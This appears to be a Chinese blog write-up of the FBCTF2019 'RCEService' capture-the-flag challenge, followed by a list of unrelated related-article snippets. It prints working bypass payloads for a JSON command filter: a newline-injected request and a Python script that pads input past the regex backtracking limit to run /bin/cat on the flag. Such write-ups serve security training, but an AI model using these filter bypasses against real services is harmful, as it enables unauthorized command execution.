[FBCTF2019]RCEService1

ops/2024/9/24 6:57:14/

打开题目

它给出了提示要求json格式,先尝试一下{"cmd":"ls"} 

的确可以执行。接下来就记录过滤了那些关键字。发现键盘上有的特殊符号好像都被过滤。

flag在home目录下,不知道为什么find命令返回为空。。。

cat在这里仍然不能用。应该是环境变量配置被改变,所以需要使用/bin/cat调用命令

{%0a"cmd":"/bin/cat%20/home/rceservice/flag"%0A}

利用回溯次数绕过 ,post请求

gei请求会因为头太大而报错

代码:

import requests
 
payload = '{"cmd":"/bin/cat /home/rceservice/flag ","nayi":"' + "a"*(1000000) + '"}' #超过一百万,这里写一千万不会出结果。
 
res = requests.post("ip", data={"cmd":payload})
print(res.text)

python里面运行出结果


http://www.ppmy.cn/ops/94696.html

相关文章

如何用 LangChain 实现一个Zero Shot智能决策器(附源码)

写在前面 最近一直在研究Agent和Tool的使用,今天给大家带来一篇何枝大佬(知乎何枝)的文章《如何用LangChain实现一个Zero Shot智能决策器》,并附上源码。 知乎:https://zhuanlan.zhihu.com/p/627333499LangChain是当…

MySQL——单表查询(二)按条件查询(2)带 IN 关键字的查询

IN 关键字用于判断某个字段的值是否在指定集合中,如果字段的值在集合中,则满足条件,该字段所在的记录将被查询出来。其语法格式如下所示: SELECT *|字段名 1,字段名 2,… FROM 表名 WHERE 字段名 [NOT〕IN(元素 1,元素 2,…) 在上…

WMS如何实现与TMS的双向信息流?

要实现仓储管理系统(WMS)与运输管理系统(TMS)之间的双向信息流,可以通过以下几个步骤进行集成: —————————————————— 1、需求分析: 1):确定WMS和TMS之间需要传输的数据类型&…

Vue2 element-ui引入 及定制element-ui主题

一. 完整引入 1.安装element-ui npm install element-ui -S 2.页面配置(在 main.js 中) // 引入... import ElementUI from element-ui; import element-ui/lib/theme-chalk/index.css;// 注册 Vue.use(ElementUI);new Vue({el: #app,render: h > h…

Docker部署superset SUPERSET_SECRET_KEY报错

Docker部署superset过程,记录一下 docker安装,镜像源替换 安装好docker,不详细说明,这里主要提一下拉镜像有问题的,替换一下镜像源vi /etc/docker/daemon.json {"registry-mirrors": ["https://docker.…

【鸿蒙学习】HarmonyOS应用开发者基础 - 构建更加丰富的页面之Navigation(二)

学完时间:2024年8月14日 一、前言叨叨 学习HarmonyOS的第六课,人数又成功的降了500名左右,到了3575人了。 本文接上一文章【鸿蒙学习】HarmonyOS应用开发者基础 - 构建更加丰富的页面(一),继续记录构建更…

如何用Langchain封装自定义语言模型

为了将一个自定义的语言模型集成到 LangChain 中,你需要创建一个类来继承 langchain_core.language_models.llms.LLM 类,并实现特定的方法。下面是一些关键点,可以帮助你构思如何集成你的语言模型: 继承 LLM 类 你需要从 langch…

apache huidi 时间旅行Time Travel)机制

Apache Hudi(Hadoop Upserts Deletes and Incrementals)是一个数据管理框架,它帮助你高效地管理存储在分布式存储系统(如HDFS或云存储)上的大型数据集。其一个关键特性是“时间旅行”,这允许你在特定时间点查询数据的历史版本。 什么是Apache Hudi中的时间旅行? Apach…